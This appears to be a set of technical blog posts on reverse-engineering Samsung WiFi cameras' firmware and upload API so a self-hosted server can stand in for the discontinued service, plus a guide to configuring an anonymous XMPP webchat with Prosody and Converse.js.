Things related to communication, networking and the internet.

Samsung's WB850F compact camera was the first model to combine the DRIMeIII SoC with WiFi. Together with the EX2F it features an uncompressed firmware binary where Samsung helpfully added a file with a full linker dump and all symbol names into the firmware ZIP. We are using this gift to reverse-engineer the main SoC firmware, so that we can make it pass the WiFi hotspot detection and use samsung-nx-emailservice.

This is a follow-up to the Samsung WiFi cameras article and part of the Samsung NX series. - the outer container

The WB850F is one of the few models where Samsung still publishes firmware and support files after discontinuing the iLauncher application.

The archive we can get there contains quite a few files (as identified by file):

GPS_FW/BASEBAND_FW_Flash.mbin: data
GPS_FW/BASEBAND_FW_Ram.mbin:   data
GPS_FW/Config.BIN:             data
GPS_FW/flashBurner.mbin:       data
FWUP:                          ASCII text, with CRLF line terminators            ASCII text
WB850-FW-SR-210086.bin:        data
wb850f_adj.txt:                ASCII text, with CRLF line terminators

The FWUP file just contains the string upgrade all which is a script for the firmware testing/automation module. The wb850f_adj.txt file is a similar but more complex script to upgrade the GPS firmware and delete the respective files. Let's skip the GPS-related script and GPS_FW folder for now. - the linker dump

The is a text file with >300k lines, containing the linker output for partialImage.o, including a full memory map of the linked file:

output          input           virtual
section         section         address         size     file

.text                           00000000        01301444
                .text           00000000        000001a4 sysALib.o
                             $a 00000000        00000000
                        sysInit 00000000        00000000
                   L$_Good_Boot 00000090        00000000
                    archPwrDown 00000094   00000000
           DevHTTPResponseStart 00321a84        000002a4
            DevHTTPResponseData 00321d28        00000100
             DevHTTPResponseEnd 00321e28        00000170
.data                           00000000        004ed40c
                .data           00000000        00000874 sysLib.o
                         sysBus 00000000        00000004
                         sysCpu 00000004        00000004 
                    sysBootLine 00000008        00000004

This goes on and on and on, and it's a real treasure map! Now we just need to find the island that it belongs to.

WB850-FW-SR-210086.bin - header analysis

Looking into WB850-FW-SR-210086.bin with binwalk yields a long list of file headers (HTML, PNG, JPEG, ...), a VxWorks header, quite a number of Unix paths, but nothing that looks like partitions or filesystems.

Let's hex-dump the first kilobyte instead:

00000000: 3231 3030 3836 0006 4657 5f55 502f 4f4e  210086..FW_UP/ON
00000010: 424c 312e 6269 6e00 0000 0000 0000 0000  BL1.bin.........
00000020: 0000 0000 0000 0000 c400 0000 0008 0000  ................
00000030: 4f4e 424c 3100 0000 0000 0000 0000 0000  ONBL1...........
00000040: 0000 0000 4657 5f55 502f 4f4e 424c 322e  ....FW_UP/ONBL2.
00000050: 6269 6e00 0000 0000 0000 0000 0000 0000  bin.............
00000060: 0000 0000 30b6 0000 c408 0000 4f4e 424c  ....0.......ONBL
00000070: 3200 0000 0000 0000 0000 0000 0000 0000  2...............
00000080: 5b57 4238 3530 5d44 5343 5f35 4b45 595f  [WB850]DSC_5KEY_
00000090: 5742 3835 3000 0000 0000 0000 0000 0000  WB850...........
000000a0: 38f4 d101 f4be 0000 4d61 696e 5f49 6d61  8.......Main_Ima
000000b0: 6765 0000 0000 0000 0000 0000 526f 6d46  ge..........RomF
000000c0: 532f 5350 4944 2e52 6f6d 0000 0000 0000  S/SPID.Rom......
000000d0: 0000 0000 0000 0000 0000 0000 00ac f402  ................
000000e0: 2cb3 d201 5265 736f 7572 6365 0000 0000  ,...Resource....
000000f0: 0000 0000 0000 0000 4657 5f55 502f 5742  ........FW_UP/WB
00000100: 3835 302e 4845 5800 0000 0000 0000 0000  850.HEX.........
00000110: 0000 0000 0000 0000 864d 0000 2c5f c704  .........M..,_..
00000120: 4f49 5300 0000 0000 0000 0000 0000 0000  OIS.............
00000130: 0000 0000 4657 5f55 502f 736b 696e 2e62  ....FW_UP/skin.b
00000140: 696e 0000 0000 0000 0000 0000 0000 0000  in..............
00000150: 0000 0000 48d0 2f02 b2ac c704 534b 494e  ....H./.....SKIN
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003f0: 0000 0000 0000 0000 0000 0000 5041 5254  ............PART

This looks very interesting. It starts with the firmware version, 210086, then 0x00 0x06, directly followed by FW_UP/ONBL1.bin at the offset 0x008, which very much looks like a file name. The next file name, FW_UP/ONBL2.bin comes at 0x044, so this is probably a 60-byte "partition" record:

00000008: 4657 5f55 502f 4f4e 424c 312e 6269 6e00  FW_UP/ONBL1.bin.
00000018: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000028: c400 0000 0008 0000 4f4e 424c 3100 0000  ........ONBL1...
00000038: 0000 0000 0000 0000 0000 0000            ............

After the file name, there is quite a bunch of zeroes (making up a 32-byte zero-padded string), followed by two little-endian integers 0xc4 and 0x800, followed by a 20-byte zero-padded string ONBL1, which is probably the respective partition name. After that, the next records of the same structure follow. The integers in the second record (ONBL2) are 0xb630 and 0x8c4, so we can assume the first number is the length, and the second one is the offset in the file (the offset of one record is always offset+length of the previous one).

In total, there are six records, so the 0x00 0x06 between the version string and the first record is probably a termination or pading byte for the firmware version and a one-byte number of partitions.

With this knowledge, we can reconstruct the partition table as follows:

File name size offset partition name
FW_UP/ONBL1.bin 196 (0xc4) 0x0000800 ONBL1
FW_UP/ONBL2.bin 46 KB (0xb630) 0x00008c4 ONBL2
[WB850]DSC_5KEY_WB850 30 MB (0x1d1f438) 0x000bef4 Main_Image
RomFS/SPID.Rom 48 MB (0x2f4ac00) 0x1d2b32c Resource
FW_UP/WB850.HEX 19 KB (0x4d86) 0x4c75f2c OIS
FW_UP/skin.bin 36 MB (0x22fd048) 0x4c7acb2 SKIN

Let's write a tool to extract DRIMeIII firmware partitions, and use it!

WB850-FW-SR-210086.bin - code and data partitions

The tool is extracting partitions based on their partition names, appending ".bin" respectively. Running file on the output is not very helpful:

ONBL1.bin:      data
ONBL2.bin:      data
Main_Image.bin: OpenPGP Secret Key
Resource.bin:   MIPSEB-LE MIPS-III ECOFF executable stripped - version 0.0
OIS.bin:        data
SKIN.bin:       data
  • ONBL1 and ONBL2 are probably the stages 1 and 2 of the bootloader (as confirmed by a string in Main_Image: "BootLoader(ONBL1, ONBL2) Update Done").

  • Main_Image is the actual firmware: the OpenPGP Secret Key is a false positive, binwalk -A reports quite a number of ARM function prologues in this file.

  • Resource and SKIN are pretty large containers, maybe provided by the SoC manufacturer to "skin" the camera UI?

  • OIS is not really hex as claimed by its file name, but it might be the firmware for a dedicated optical image stabilizer.

Of all these, Main_Image is the most interesting one.

Loading the code in Ghidra

The three partitions ONBL1, ONBL2 and Main_Image contain actual ARM code. A typical ARM firmware will contain the reset vector table at address 0x0000000 (usually the beginning of flash / ROM), which is a series of jump instructions. All three binaries however contain actual linear code at their respective beginning, so most probably they need to be re-mapped to some yet unknown address.

To find out how and why the camera is mis-detecting a hotspot, we need to:

  1. Find the right memory address to map Main_Image to
  2. Load the symbol names from into Ghidra
  3. Find and analyze the function that is mis-firing the hotspot login

Loading and mapping Main_Image

By default, Ghidra will assume that the binary loads to address 0x0000000 and try to analyze it this way. To get the correct memory address, we need to find a function that accesses some known value from the binary using an absolute address. Given that there are 77k functions, we can start with something that's close to task #3, and search in the "Defined Strings" tab of Ghidra for "yahoo":

Screenshot of Ghidra with some Yahoo!  strings

Excellent! Ghidra identified a few strings that look like an annoyed developer's printf debugging, probably from a function called DevHTTPResponseStart(), and it seems to be the function that checks whether the camera can properly access Yahoo, Google or Samsung:

0139f574    DevHTTPResponseStart: url=%s, handle=%x, status=%d\n, headers=%s\r\n
0139f5b8    DevHTTPResponseStart: This is YAHOO check !!!\r\n
0139f5f4    DevHTTPResponseStart: THIS IS GOOGLE/YAHOO/SAMSUNG PAGE!!!! 111\n\n\n
0139f638    DevHTTPResponseStart: 301/302/307! cannot find yahoo!  safapi_is_browser_framebuffer_on : %d , safapi_is_browser_authed(): %d  \r\n

According to, a function with that name actually exists at address 0x321a84, and Ghidra also found a function at 0x321a84. There are some more matching function offsets between the map and the binary, so we can assume that the .text addresses from the map file actually correspond 1:1 to Main_Image! We found the right island for our map!

Here's the beginning of that function:

bool FUN_00321a84(undefined4 param_1,ushort param_2,int param_3,int param_4) {
  /* snip variable declarations */
  FUN_0031daec(*(DAT_00321fd4 + 0x2c),DAT_00322034,param_3,param_1,param_2,param_4);
  FUN_0031daec(*(DAT_00321fd4 + 0x2c),DAT_00322038);

It starts with two calls to FUN_0031daec() with different numbers of parameters - this smells very much of printf debugging again. According to the memory map, it's called opd_printf()! The first parameter is some sort of context / destination, and the second one must be a reference to the format string. The two DAT_ values are detected by Ghidra as 32-bit undefined values:

    74 35 3a c1     undefined4 C13A3574h
    b8 35 3a c1     undefined4 C13A35B8h

However, the respective last three digits match the "DevHTTPResponseStart: " debug strings encountered earlier:

  • 0xc13a3574 - 0x0139f574 = 0xc0004000 (first format string with four parameters)
  • 0xc13a35b8 - 0x0139f5b8 = 0xc0004000 (second format strings without parameters)

From that we can reasonably conclude that Main_Image needs to be loaded to the memory address 0xc0004000. This cannot be changed after the fact in Ghidra, so we need to remove the binary from the project, re-import it, and set the base address accordingly:

Screenshot of Ghidra import options dialog

Loading function names from

Ghidra has a script to bulk-import data labels and function names from a text table, It expects each line to contain three variables, separated by arbitrary amounts of whitespace (as determined by python's string.split()):

  1. symbol name
  2. (hexadecimal) address
  3. "f" for "function" or "l" for "label"

Our symbol map contains multiple sections, but we are only interested in the functions defined in .text (for now), which are mapped 1:1 to addresses in Main_Image. Besides of function names, it also contains empty lines, object file offsets (with .text as the label), labels (prefixed with "L$_") and local symbols (prefixed with "$").

We need to limit our symbols to the .text section (everything after .text and before .debug_frame), get rid of the empty lines and non-functions, then add 0xc0004000 to each address so that we match up with the base address in Ghidra. We can do this very obscurely with an awk one-liner:

awk '/^\.text /{t=1;next}/^\.debug_frame /{t=0} ; !/[$.]/ { if (t && $1) { printf "%s %x f\n", $1, (strtonum("0x"$2)+0xc0004000) } }'

Or slightly less obscurely with a much slower shell loop:

sed '1,/^\.text /d;/^\.debug_frame /,$d' | grep -v '^$' | grep -v '[.$]' | \
while read sym addr f ; do
    printf "%s %x f\n"  $sym $((0xc0004000 + 0x$addr))

Both will generate the same output that can be loaded into Ghidra via "Window" / "Script Manager" / "":

sysInit c0004000 f
archPwrDown c0004094 f
MMU_WriteControlReg c00040a4 f
MMU_WritePageTableBaseReg c00040b8 f
MMU_WriteDomainAccessReg c00040d0 f

Reverse engineering DevHTTPResponseStart

Now that we have the function names in place, we need to manually set the type of quite a few DAT_ fields to "pointer", rename the parameters according to the debug string, and we get a reasonably usable decompiler output.

The following is a commented version, edited for better readability (inlined the string references, rewrote some conditionals):

bool DevHTTPResponseStart(undefined4 handle,ushort status,char *url,char *headers) {
  bool result;
  opd_printf(ctx,"DevHTTPResponseStart: url=%s, handle=%x, status=%d\n, headers=%s\r\n",
  opd_printf(ctx,"DevHTTPResponseStart: This is YAHOO check !!!\r\n");
  if ((url == NULL) || (status != 301 && status != 302 && status != 307)) {
    /* this is not a HTTP redirect */
    if (status == 200) {
      /* HTTP 200 means OK */
      if (headers == NULL ||
          (strstr(headers,"") == NULL &&
           strstr(headers,"") == NULL &&
           strstr(headers,"") == NULL &&
           strstr(headers,"") == NULL)) {
        /* no response headers or no yahoo cookie --> check fails! */
        result = true;
      } else {
        /* we found a yahoo cookie bit in the headers */
        opd_printf(ctx,"DevHTTPResponseData: THIS IS GOOGLE/YAHOO PAGE!!!! 3333\n\n\n");
        *p_request_ongoing = 0;
        if (!safapi_is_browser_authed())
        result = false;
    } else if (status < 0) {
      /* negative status = aborted? */
      result = false;
    } else {
      /* positive status, not a redirect, not "OK" */
      result = !safapi_is_browser_framebuffer_on();
  } else {
    /* this is a HTTP redirect */
    char *match = strstr(url,"yahoo.");
    if (match == NULL || match > (url+11)) {
      opd_printf(ctx, "DevHTTPResponseStart: 301/302/307! cannot find yahoo! safapi_is_browser_framebuffer_on : %d , safapi_is_browser_authed(): %d  \r\n",
          safapi_is_browser_framebuffer_on(), safapi_is_browser_authed());
      if (!safapi_is_browser_framebuffer_on() && !safapi_is_browser_authed()) {
        opd_printf(ctx,"DevHTTPResponseStart: 302 auth failed!!! kSAFAPIAuthErrNotAuth!! \r\n");
      result = false;
    } else {
      /* found "yahoo." in url */
      opd_printf(ctx, "DevHTTPResponseStart: THIS IS GOOGLE/YAHOO/SAMSUNG PAGE!!!! 111\n\n\n");
      *p_request_ongoing = 0;
      if (!safapi_is_browser_authed())
      result = false;
  return result;

Interpreting the hotspot detection

So to summarize, the code in DevHTTPResponseStart will check for one of two conditions and call safnotify_auth_ap(0) to mark the WiFi access point as authenticated:

  1. on a HTTP 200 OK response, the server must set a cookie on the domain ".yahoo.something" or ""

  2. on a HTTP 301/302/307 redirect, the URL (presumably the redirect location?) must contain "yahoo." close to its beginning.

If we manually contact the queried URL,, it will redirect us to, so everything is fine?

GET / HTTP/1.1

HTTP/1.1 301 Moved Permanently

Well, the substring "yahoo." is on position 12 in the url "", but the code is requiring it to be in one of the first 11 positions. This check has been killed by TLS!

To pass the hotspot check, we must unwind ten years of HTTPS-everywhere, or point the DNS record to a different server that will either HTTP-redirect to a different, more yahooey name, or set a cookie on the yahoo domain.

After patching samsung-nx-emailservice accordingly, the camera will actually connect and upload photos:

WB850F sending a photo

Summary: the real treasure

This deep-dive allowed to understand and circumvent the hotspot detection in Samsung's WB850F WiFi camera based on one reverse-engineered function. The resulting patch was tiny, but guessing the workaround just from the packet traces was impossible due to the "detection method" implemented by Samsung's engineers. Once knowing what to look for, the same workaround was applied to cameras asking for, thus also adding EX2F, ST200F, WB3xF and WB1100F to the supported cameras list.

However, the real treasure is still waiting! Main_Image contains over 77k functions, so there is more than enough for a curious treasure hunter to explore in order to better understand how digital cameras work.

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Posted 2024-05-24 17:30 Tags: net

Starting in 2009, Samsung has created a wide range of compact cameras with built-in WiFi support, spread over multiple product lines. This is a reference and data collection of those cameras, with the goal to understand their WiFi functionality, and to support them in samsung-nx-emailservice.

This is a follow-up to the Samsung NX mirrorless archaeology article, which also covers the Android-based compact cameras.

If you are in Europe and can donate one of the "untested" models, please let me know!

Model Line Overview

Samsung created a mind-boggling number of different compact cameras over the years, apparently with different teams working on different form factors and specification targets. They were grouped into product lines, of which only a few were officially explained:

  • DV: DualView (with a second LCD on the front side for selfies)
  • ES: unknown, no WiFi
  • EX: high-end compact (maybe "expert"?)
  • NV: New Vision, no WiFi
  • MV: MultiView
  • PL: unknown, no WiFi
  • SH: unknown
  • ST: Style feature
  • WB: long-zoom models

Samsung compact cameras on a shelf

Quite a few of those model ranges also featured cameras with a WiFi controller, allowing to upload pictures to social media or send them via email. For the WiFi-enabled cameras, Samsung has been using two different SoC brands, with multiple generations each:

  1. Zoran COACH ("Camera On A CHip") based on a MIPS CPU.

  2. DRIM engine ("Digital Real Image & Movie Engine") ARM CPU, based on the Milbeaut (later Fujitsu) SoC.

WiFi Cameras

This table should contain all Samsung compacts with WiFi (I did quite a comprehensive search of everything they released since 2009). It is ordered by SoC type and release date:

Camera Release SoC Firmware Upload Working
ST1000 2009-09 COACH 10 N/A unknown serviceproviders API endpoint
SH100 2011-01 COACH ?? 1107201 untested
ST200F 2012-01 COACH 12: ZR364249NCCG 1303204 ✔️ Yahoo (fw. 1303204(*))
DV300F 2012-01 COACH 12 1211084 ✔️ (fw. 1211084)
WB150F 2012-01 COACH 12 ML? 1208074 ✔️ (fw. 1210238)
WB35F, WB36F, WB37F 2014-01 COACH 12: ZR364249BGCG N/A ✔️ MSN (WB37F fw. ???)
WB50F 2014-01 COACH ?? N/A untested
WB1100F 2014-01 COACH 12: ZR364249BGCG N/A ✔️ MSN (fw. ???)
WB2200F 2014-01 COACH ??: ZR364302BGCG N/A untested
Milbeaut / DRIM engine (ARM)
WB850F 2012-01 DRIM engine III? 210086 ✔️ Yahoo (fw. 210086)
EX2F 2012-07 DRIM engine III 1301144 ✔️ Yahoo (fw. 303194)
WB200F 2013-01 Milbeaut MB91696 N/A ❌ hotspot (fw. 1411171)
WB250F 2013-01 Milbeaut MB91696 1302211 ✔️ (fw. 1302181)
WB800F 2013-01 Milbeaut MB91696 1311061 untested
DV150F 2013-01 Milbeaut MB91696 N/A untested
ST150F 2013-01 Milbeaut MB91696 N/A untested
WB30F, WB31F, WB32F 2013-01 Milbeaut M6M2 (MB91696?) 1310151 ❌ hotspot (WB31F fw. 1411221)
WB350F 2014-01 Milbeaut MB865254? N/A untested
Unknown / unconfirmed SoC
MV900F 2012-07 Zoran??? N/A untested
DV180F 2015? same Milbeaut as DV150F? N/A untested
WB380F 2015? Milbeaut ??? N/A untested


  • ✔️ = works with samsung-nx-emailservice.
  • ✔️ Yahoo/MSN = works with a respective cookie response.
  • ❌ hotspot = camera mis-detects a hotspot with a login requirement, opens browser.
  • untested = I wasn't (yet) able to obtain this model. Donations are highly welcome.
  • pending = I'm hopefully going to receive this model soon.
  • (*) the ST200F failed with the 1203294 firmware but worked after the upgrade to 1303204.
  • "N/A" for firmware means, there are no known downloads / mirrors since Samsung disabled iLauncher.
  • "fw. ???" means that the firmware version could not be found out due to lack of a service manual.

There are also quite a few similarly named cameras that do not have WiFi:

  • DV300/DV305 (without the F)
  • ST200 (no F)
  • WB100, WB150, WB210, WB500, WB600, WB650, WB700, WB750, WB1000 and WB2100 (again, no F)

Hotspot Detection Mode

Most of the cameras only do a HTTP GET request for (shut down in 2021) before failing into a browser. This is supposed to help you login in a WiFi hotspot so that you can proceed to the upload.

Redirecting the DNS for to my own server and feeding back a HTTP 200 with the body "200 OK", as documented in 2013 doesn't help to make it pass the detection.

There is nothing obvious in the PCAP that would indicate what is going wrong there, and blindly providing different HTTP responses only goes this far.

Brief Firmware Analysis

Samsung used to provide firmware through the iLauncher PC application, which downloaded them from The download service was discontinued in 2021 as well. Most camera models never had alternative firmware download locations, so suddenly it's impossible to get firmware files for them. Thanks, Samsung.

The alternative download locations that I could find are documented in the firmware table above.

Obviously, the ZORAN and the DRIMe models have different firmware structure. The ZORAN firmware files are called <model>-DSP-<version>-full.elf but are not actually ELF files. Luckily, @jam1garner already analyzed the WB35F firmware and created tools to dissect the ELFs. Unfortunately, none of the inner ELFs seem to contain any strings matching the social media upload APIs known from reverse-engineering the upload API. Also the MIPS disassembler seems to be misbehaving for some reason, detecting all addresses as 0x0:

int DevHTTPResponseData(int param_1,int param_2,int param_3)
  /* snip variables */
  if (uRam00000000 != 0) {
    (*(code *)0x0)(0,param_1);
  (*(code *)0x0)(0,param_1,param_3);
  if (uRam00000000 != 1) {
    (*(code *)0x0)(param_2,param_3);

The DRIMe firmware files follow different conventions. WB850F and EX2F images are uncompressed multi-partition files that are analyzed in the WB850F reverse engineering blog post.

All other DRIMe models have compressed DATA<model>.bin files like the NX mini, where an anlysis of the bootloader / compression mechanism needs to be performed prior to analyzing the actual network stack.

Yahoo! Hotspot Detection

Some models (at least the ST200F and the WB850F) will try to connect to instead of the Samsung server. The WB1100F will load Today, these sites will redirect to HTTPS, but the 2012 cameras won't manage modern TLS Root CAs and encryption, so they will fail instead:

WB850F showing an SSL error

Redirecting the Yahoo hostname via DNS will also make them connect to our magic server, but it won't be detected as proper Yahoo!, showing the hotspot detector. Preliminary reverse engineering of the uncompressed WB850F firmware shows that the code checks for the presence of the string in the response (headers). This is normally a part of a cookie set by the server, which we can emulate to pass the hotspot check. Similarly, it's possible to send back a cookie for to pass the WB1100F check.

GPS Cameras

Of the WiFi enabled models, two cameras are also equipped with built-in GPS.

The ST1000 (also called CL65 in the USA), Samsung's first WiFi model, comes with GPS. It also contains a location database with the names of relevant towns / cities in its firmware, so it will show your current location on screen. Looks like places with more than ~10'000 inhabitants are listed. Obviously, the data is from 2009 as well.

The WB850F, a 2012 super-zoom, goes even further. You can download map files from Samsung for different parts of the world and install the maps on the SD card. It will show the location of taken photos as well, but not from the ones shot with the ST1000.

WB850F showing a geo-tagged photo

And it has a map renderer, and might even navigate you to POIs!

WB850F showing a map

WiFi Camcorders

Yes, those are a thing as well. It's exceptionally hard to find any info on them. Samsung also created a large number of camcorders, but it looks like only three models came with WiFi.

From a glance at the available firmware files, they also have Linux SoCs inside, but they are not built around the known ZORAN or DRIMe chips.

The HMX-S10/S15/S16 firmware contains a number of S5PC110 string references, indicating that it's the Exynos 3110 1GHz smartphone CPU that also powered a number of Android phones.

The QF20 and QF30 again are based on the well-researched Ambarella A5s. The internet is full of reverse-engineering info on action cameras and drones based on Ambarella SoCs of all generations, including tools to disassemble and reassemble firmware images.

The QF30 is using a similar (but different!) API as the still cameras, but over SSL and without encrypting the sensitive XML elements, and does not accept the <Response> element yet.

Camera Release SoC Firmware Working
HMX-S10, HMX-S15, HMX-S16 2010-01 Samsung S5PC110/Exynos 3110(??) 2011-11-14 untested
HMX-QF20 2012-01 Ambarella A5s 1203160 untested
HMX-QF30 2013-01 Ambarella A5s 14070801 ❌ different API over "SSL"

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Posted 2024-05-22 18:04 Tags: net

The goal of this post is to make an easily accessible (anonymous) webchat for any chatrooms hosted on a prosody XMPP server, using the web client converse.js.

Motivation and prerequisites

There are two use cases:

  1. Have an easily accessible default support room for users having trouble with the server or their accounts.

  2. Have a working "Join using browser" button on

This setup will require:

  • A running prosody 0.12+ instance with a muc component ( in our example)

  • The willingness to operate an anomyous login and to handle abuse coming from it (

  • A web-server to host the static HTML and JavaScript for the webchat (

There are other places that describe how to set up a prosody server and a web server, so our focus is on configuring anonymous access and the webchat.

Prosody: BOSH / websockets

The web client needs to access the prosody instance over HTTPS. This can be accomplished either by using Bidirectional-streams Over Synchronous HTTP (BOSH) or the more modern WebSocket. We enable both mechanisms in prosody.cfg by adding the following two lines to the gloabl modules_enabled list, they can also be used by regular clients:

modules_enabled = {
    -- add HTTP modules:
    "bosh"; -- Enable BOSH access, aka "Jabber over HTTP"
    "websocket"; -- Modern XMPP over HTTP stream support

You can check if the BOSH endpoint works by visiting the /http-bind/ endpoint on your prosody's HTTPS port (5281 by default). The server is using mod_net_multiplex to allow both XMPP with Direct TLS and HTTPS on port 443, so the resulting URL is

Prosody: allowing anonymous logins

We need to add a new anonymous virtual host to the server configuration. By default, anonymous domains are only allowed to connect to services running on the same prosody instance, so they can join rooms on your server, but not connect out to other servers.

Add the new virtualhost at the end of prosody.cfg.lua:

-- add at the end, after the other VirtualHost sections, add:
VirtualHost ""
    authentication = "anonymous"

    -- to allow file uploads for anonymous users, uncomment the following
    -- two lines (THIS IS NOT RECOMMENDED!)
    -- modules_enabled = { "discoitems"; }
    -- disco_items = { {""}; }

This is a new domain that needs to be made accessible to clients, so you also need to create an SRV record and ensure that your TLS certificate covers the new hostname as well, e.g. by updating the parameter list to certbot.  3600 IN SRV 5 1 5222 3600 IN SRV 5 1  443

Converse.js webchat

Converse.js is a full XMPP client written in JavaScript. The default mode is to embed Converse into a website where you have a small overlay window with the chat, that you can use while navigating the site.

However, we want to have a full-screen chat under the /chat/ URL and use that to join only one room at a time (either the support room or a room address that was explicitly passed) instead. For this, Converse has the fullscreen and singleton modes that we need to enable.

Furthermore, Converse does not (properly) support parsing room addresses from the URL, so we are using custom JavaScript to identify whether an address was passed as an anchor, and fall back to the support room otherwise.

The following is based on release 10.1.6 of Converse.

  1. Download the converse tarball (not converse-headless) and copy the dist folder into your document root.

  2. Create a folder chat/ or webchat/ in the document root, where the static HTML will be placed

  3. Create an index.html with the following content (minimal example):

<html lang="en">
    <title> webchat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="description" content="browser-based access to the xmpp/jabber chatrooms on" />
    <link type="text/css" rel="stylesheet" media="screen" href="/dist/converse.min.css" />
    <script src="/dist/converse.min.js"></script>

<body style="width: 100vw; height: 100vh; margin:0">
<div id="conversejs">
<noscript><h1>This chat only works with JavaScript enabled!</h1></noscript>
let room = || window.location.hash;
room = decodeURIComponent(room.substring(room.indexOf('#') + 1, room.length));
if (!room) {
        room = "";
   "allow_muc_invitations" : false,
   "authentication" : "anonymous",
   "auto_join_on_invite" : true,
   "auto_join_rooms" : [
   "auto_login" : true,
   "auto_reconnect" : false,
   "blacklisted_plugins" : [
   "jid" : "",
   "keepalive" : true,
   "message_carbons" : true,
   "use_emojione" : true,
   "view_mode" : "fullscreen",
   "singleton": true,
   "websocket_url" : "wss://"
Posted 2024-01-10 11:01 Tags: net

Back in 2009, Samsung introduced cameras with Wi-Fi that could upload images and videos to your social media account. The cameras talked to an (unencrypted) HTTP endpoint at Samsung's Social Network Services (SNS), probably to quickly adapt to changing upstream APIs without having to deploy new camera firmware.

This post is about reverse engineering the API based on a few old PCAPs and the binary code running on the NX300. We are finding a fractal of spectacular encryption fails created by Samsung, and creating a PoC reference server implementation in python/flask.

Before Samsung discontinued the SNS service in 2021, their faulty implementation allowed a passive attacker to decrypt the users social media credentials (there is no need to decrypt the media, as they are uploaded in the clear). And there were quite some buffer overflows along the way.

Skip right to the encryption fails!

Show me the code!


The social media upload feature was introduced with the ST1000 / CL65 model, and soon added to the compact WB150F/WB850F/ST200F and the NX series ILCs with the NX20/NX210/NX1000 introduction.

Ironically, Wi-Fi support was implemented inconsistently over the different models and generations. There is a feature matrix for the NX models with a bit of an overview of the different Wi-Fi modes, and this post only focuses on the (also inconsistently implemented) cloud-based email and social network features.

Some models like the NX mini support sending emails as well as uploading (photos only) to four different social media platforms, other models like the NX30 came with 2GB of free Dropbox storage, while the high-end NX1 and NX500 only supported sending emails through SNS, but no social media. The binary code from the NX300 reveals 16 different platforms, whereas its UI only offers 5, and it allows uploading of photos as well as videos (but only to Facebook and YouTube). In 2015, Samsung left the camera market, and in 2021 they shut down the API servers. However, these cameras are still used in the wild, and some people complained about the termination.

Given that there is no HTTPS, a private or community-driven service could be implemented by using a custom DNS server and redirecting the camera's traffic.

Back then, I took that as a chance to reverse engineer the more straight-forward SNS email API and postponed the more complex looking social media API until now.

Email API

The easy part about the email API was that the camera sent a single HTTP POST request with an XML form containing the sender, recipient and body text, and the pictures attached. To succeed, the API server merely had to return 200 OK. Also the camera I was using (the NX500) didn't have support for any of the other services.

POST /social/columbus/email?DUID=123456789033  HTTP/1.0
Authorization:OAuth oauth_consumer_key="censored",oauth_nonce="censored",oauth_signature="censored=",oauth_signature_method="HmacSHA1",oauth_timestamp="9717886885",oauth_version="1.0"
User-Agent: sdeClient
Content-Type: multipart/form-data; boundary=---------------------------7d93b9550d4a
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/, application/, application/msword, */*
Pragma: no-cache
Accept-Language: ko
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)
Content-Length: 1321295

content-disposition: form-data; name="message"; fileName="sample.txt"
content-Type: multipart/form-data;

<?xml version="1.0" encoding="UTF-8"?>
<email><sender></sender><receiverList><receiver></receiver></receiverList><title><![CDATA[[Samsung Smart Camera] sent you files.]]></title><body><![CDATA[Sent from Samsung Camera.

content-disposition: form-data; name="binary"; fileName="SAM_4371.JPG"
content-Type: image/jpeg;



The syntax is almost valid, except there is no epilogue (----foo--) after the image, but just a boundary (----foo), so unpatched HTTP servers will not consider this as a valid request.

Social media login

The challenge with the social media posting was that the camera is sending multiple XML requests, and parsing the answer from XML documents in an unknown format, which cannot be obtained from the wire after Samsung terminated the official servers. Another challenge was that the credentials are transmitted in an encrypted way, so the encryption needed to be analyzed (and possibly broken) as well. Here is the first request from the camera when logging into Facebook:


<?xml version="1.0" encoding="UTF-8"?>
<Request Method="login" Timeout="3000" CameraCryptKey="58a4c8161c8aa7b1287bc4934a2d89fa952da1cddc5b8f3d84d3406713a7be05f67862903b8f28f54272657432036b78e695afbe604a6ed69349ced7cf46c3e4ce587e1d56d301c544bdc2d476ac5451ceb217c2d71a2a35ce9ac1b9819e7f09475bbd493ac7700dd2e8a9a7f1ba8c601b247a70095a0b4cc3baa396eaa96648">
<UserName Value="uFK%2Fz%2BkEchpulalnJr1rBw%3D%3D"/>
<Password Value="ob7Ue7q%2BkUSZFffy3%2BVfiQ%3D%3D"/>
<PersistKey Use="true"/>
<SessionKey Type="APIF"/>
<CryptSessionKey Use="true" Type="SHA1" Value="//////S3mbZSAQAA/LOitv////9IIgS2UgEAAAAQBLY="/>
<ApplicationKey Value="6a563c3967f147d3adfa454ef913535d0d109ba4b4584914"/>

For the other social media platforms, the /facebook/ part of the URL is replaced with the respective service name, except that some apparently use OAuth instead of sending encrypted credentials directly.

Locating the code to reverse-engineer

Of the different models supporting the feature, the Tizen-based NX300 seemed to be the best candidate, given that it's running Linux under the hood. Even though Samsung never provided source code for the camera UI and its components, reverse-engineering an ELF binary running on a Linux host where you are root is a totally different game than trying to pierce a proprietary ARM SoC running an unknown OS from the outside.

When requesting an image upload, the camera starts a dedicated program, smart-wifi-app-nx300. Luckily, the NX300 FOSS dump contains three copies of it, two of which are not stripped:

~/TIZEN/project/NX300/$ find . -type f -name smart-wifi-app-nx300 -exec ls -alh {} \;
-rwxr-xr-x 1  5.2M Oct 16  2013 ./imagedev/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  519K Oct 16  2013 ./image/rootdir/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  5.2M Oct 16  2013 ./image/rootdir_3-5/usr/bin/smart-wifi-app-nx300

Unfortunately, the actual logic is happening in, of which all copies are stripped. There is a header file libwifi-sns/client_predefined.h provided (by accident) as part of the dev image, but it only contains the string values from which the requests are constructed:

#define WEB_XML_LOGIN_REQUEST_PREFIX "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\""
#define WEB_XML_USER_PREFIX          "<UserName Value=\""
#define WEB_XML_PW_PREFIX            "<Password Value=\""

The program is also doing extensive debugging through /dev/log_main, including the error messages that we cause when re-creating the API.

